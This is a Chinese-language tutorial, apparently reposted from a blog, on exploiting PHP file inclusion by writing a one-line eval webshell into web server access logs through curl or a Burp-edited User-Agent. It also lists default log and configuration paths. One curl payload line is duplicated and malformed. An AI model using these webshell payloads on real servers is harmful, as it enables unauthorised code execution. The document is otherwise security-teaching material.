一、包含日志文件漏洞利用概述
 
        当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件。        利用思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。二、漏洞利用条件
       (1) 日志的物理存放路径
       (2) 存在文件包含漏洞

 

(3) curl命令行url请求工具 或者 burpsuit代理;(避免url转码的存在)

(3) curl命令行url请求工具 或者 burpsuit代理;
三、 获取日志存放路径

一)日志默认路径

 

(1) apache+Linux日志默认路径

 

        /etc/httpd/logs/access_log

 

或者

               

        /var/log/httpd/access_log

 

(2) apache+win2003日志默认路径

 

        D:\xampp\apache\logs\access.log

        D:\xampp\apache\logs\error.log

 

(3) IIS6.0+win2003默认日志文件

 

        C:\WINDOWS\system32\Logfiles

 

(4) IIS7.0+win2003 默认日志文件

 

        %SystemDrive%\inetpub\logs\LogFiles

 

(5) nginx 日志文件

 
  /var/log/nginx/access.log

        日志文件在用户安装目录logs目录下

                以我的安装路径为例/usr/local/nginx,

                那我的日志目录就是在/usr/local/nginx/logs里

 

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

二)web中间件默认配置

 

(1) apache+linux 默认配置文件

 

        /etc/httpd/conf/httpd.conf

或者

         index.php?page=/etc/init.d/httpd

 

(2) IIS6.0+win2003 配置文件

 

        C:/Windows/system32/inetsrv/metabase.xml

 

(3) IIS7.0+WIN 配置文件

 

        C:\Windows\System32\inetsrv\config\applicationHost.config

        

四、实践测试记录       一) 工具准备       (1) curl 命令行url访问工具或者       (2) burpsuit 代理工具
       二)使用浏览器直接构造一句话写入日志测试记录             (1)浏览器构造一句话报错       首先,我们直接使用浏览器来构造“php一句话报错请求信息”然服务自动记录此一句话信息到服务器日志文件中;       具体构造内容:  http://127.0.0.1/php/1.php?page=<?php @eval($_POST

123
);?>              
利用文件包含漏洞直接访问“服务日志文件”,发现文件包含漏洞并未对构造的php一句话进行正常解析,观察发现是构造的PHP一句话中的相关字符在记录进日志文件后,相关的字符被转码了,导致PHP解析失败,具体失败原因见“失败原因分析”
                ">"  ----> 小于号被转码为了 %3E
                " "   ----> 空格被转码为了 %20
                最后写入到日志文件中的一句话就变成了  %3C?php%20@eval($_POST[123]);?%3E。
         (4) 失败总结
                 浏览器直接构造的PHP一句话中特殊字符,会被浏览器自动进行URL转义,导致最终写入日志文件中的PHP一句话包含了这些特殊字符,而这些转码后的编码PHP并不能进行正常的解析。
           
      三)curl 构造一句话,写入日志文件测试记录
       (1) curl 构造一句话写入服务日志文件             构造语句:  D:\curl>curl -v "http://127.0.0.1/php/1.php?page=<?php @eval($_POST

123
);?>"?page=<?php @eval($_POST\[123\]);?>"
 
   
                
              curl构造一句话时,需要注意两点:
               1)请求的资源对象,需要被双引号包含,不然会报错;


            2) php一句话中的 综括号[ ]curl是特殊符号,需要进行转义

 
,不然curl使用时也会报错;
        (2)测试结果:成功
  
 
             
 
       (3) 成功原因
              Curl 命令行url资源请求,没有像浏览器对特殊字符进行url的转码,所以原封不动的将请求报错的php一句话信息写入了服务日志文件中。随后我们利用文件包含漏洞正常包含解析了本地服务器的日志文件中夹带的“php一句话木马”;
 
        四)burpsuit 代理抓包改包构造一句话写入日志文件
 
       (1) burpsuit 代理抓包,修改浏览器转码字符,写入正确的php一句话木马到服务器日志文件。
    (2) 修改user-agent 为 一句话木马,php代码,直接包含日志文件,即可getshell
 
 
       (2) 测试记录:成功
        通过文件包含直接访问服务日志文件,发现一句话被继续成功; 
 
 
       (3)成功原因
        使用burpsuit修改了浏览器访问转码的字符,事情安装我们一句话原本的格式记录进日志文件,并能被php正常解析。
 
转载于:https://www.cnblogs.com/my1e3/p/5854897.html

利用日志文件getshell的更多相关文章

  1. 包含日志文件getshell

    包含日志文件getshell     一.包含日志文件漏洞利用概述           当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件.    ...

  2. 通达OA任意文件上传+文件包含GetShell/包含日志文件Getshell

    0x01 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...

  3. 利用日志文件恢复MYSQL数据库

    利用日志文件恢复MYSQL数据库 650) this.width=650;" onclick='window.open("http://blog.51cto.com/viewpic ...

  4. Oracle重做日志文件

    一.联机重做日志的规划管理 1.联机重做日志 记录了数据的所有变化(DML,DDL或管理员对数据所作的结构性更改等) 提供恢复机制(对于意外删除或宕机利用日志文件实现数据恢复) 可以被分组管理  11 ...

  5. Oracle 联机重做日志文件(ONLINE LOG FILE)

    --========================================= -- Oracle 联机重做日志文件(ONLINE LOG FILE) --================== ...

  6. ORACLE体系结构一 (物理结构)- 数据文件、日志文件、控制文件和参数文件

    一.物理结构Oracle物理结构包含了数据文件.日志文件.控制文件和参数文件 1.数据文件每一个ORACLE数据库有一个或多个物理的数据文件(data file).一个数据库的数据文件包含全部数据库数 ...

  7. 【转】如何利用logrotate工具自动切分滚动中的日志文件

    FROM : http://www.2cto.com/os/201503/381812.html 在很多实际项目中,应用程序会持续写日志,如果程序代码中没有调用支持自动切分(如按filesize或da ...

  8. (Unity)Unity自定义Debug日志文件,利用VS生成Dll文件并使用Dotfuscated进展混淆,避免被反编译

    Unity自定义Debug日志文件,利用VS生成Dll文件并使用Dotfuscated进行混淆,避免被反编译. 1.打开VS,博主所用版本是Visual Studio 2013. 2.新建一个VC项目 ...

  9. Node.js系列文章:利用console输出日志文件

    通常我们在写Node.js程序时,都习惯使用console.log打印日志信息,但这也仅限于控制台输出,有时候我们需要将信息输出到日志文件中,实际上利用console也可以达到这个目的的,今天就来简单 ...

随机推荐

  1. 多测师讲解python_函数调用方法__高级讲师肖sir

    (一)函数的介绍  函数:一个工具,随调随用优点:# 降低代码冗余# 增加代码的复用性,提高开发效率# 提高程序扩展性# 函数有两个阶段:定义阶段,调用阶段.# 定义时:只检查函数体内代码语法,不执行 ...

  2. Django 中实现连接多个数据库并实现读写分离

    读写分离 其基本原理就是让主数据库处理事务性增,改,删操作(INSERT,UPDATE,DELETE)操作,而从数据库处理SELECT查询操作,数据库复制被用来把事物性操作导致的变更同步到其他从数据库 ...

  3. Linux关联文件扩展名和打开程序

    手动为Linux关联文件扩展名与打开程序. 当Linux不认识某种扩展名的时候,需要为此扩展名创建一个MIME类型.Linux是依据MIME类型而不是扩展名来决定打开程序的. 再将此种MIME类型与某 ...

  4. scp带密码拷贝文件

    应用场景:将B服务器的文件传输到A服务器.核心命令: sshpass -p 123456 scp ubuntu@192.168.52.1:/home/ubuntu/"TEST"'' ...

  5. intellij idea:设置java方法注释模板(intellij idea 2019.2)

    一,打开方法注释模板的编辑窗口 菜单file->打开settings editor栏目下->打开Live Templates   说明:刘宏缔的架构森林是一个专注架构的博客,地址:http ...

  6. 纯JS自定义网页滚动条

    前言 由于最近在公司很忙,没什么时间更新,忙中抽时间做了一个JS滚动条,因为火狐浏览器与谷歌浏览器的滚动条自定义样式过于麻烦,所以我打算自己写个方便改样式的滚动条 CSS <style> ...

  7. Vue留言 checked框案列

    在命令行窗口输入vue create "工程名"命令 来创建vue脚手架

  8. 使用ModelForm校验数据唯一性

    在设计模型类的时候,将指定字段设置unique=true属性,可以保证该字段在数据库中的唯一性. 使用ModelForm可以将指定模型类快速生成表单元素.在提交数据后,使用is_valid()校验时, ...

  9. ElasticSearch研究

    前言 ​ ES相关技术文档,很久之前看的,一门技术时间长不去研究就会容易忘了,应有些小伙伴的要求希望我做一期ES技术专栏,我就把以前看过的相关文档整理整理,给大家分享下. 1 ElasticSearc ...

  10. 进程相关的API函数

    0x01. ID与句柄 如果我们成功创建一个进程之后,CreateProcess会返回四个数据,id和句柄 句柄的话就是 当前进程私有的句柄表索引(这是当前进程,给别进程也没用) 每个进程都有一张自己 ...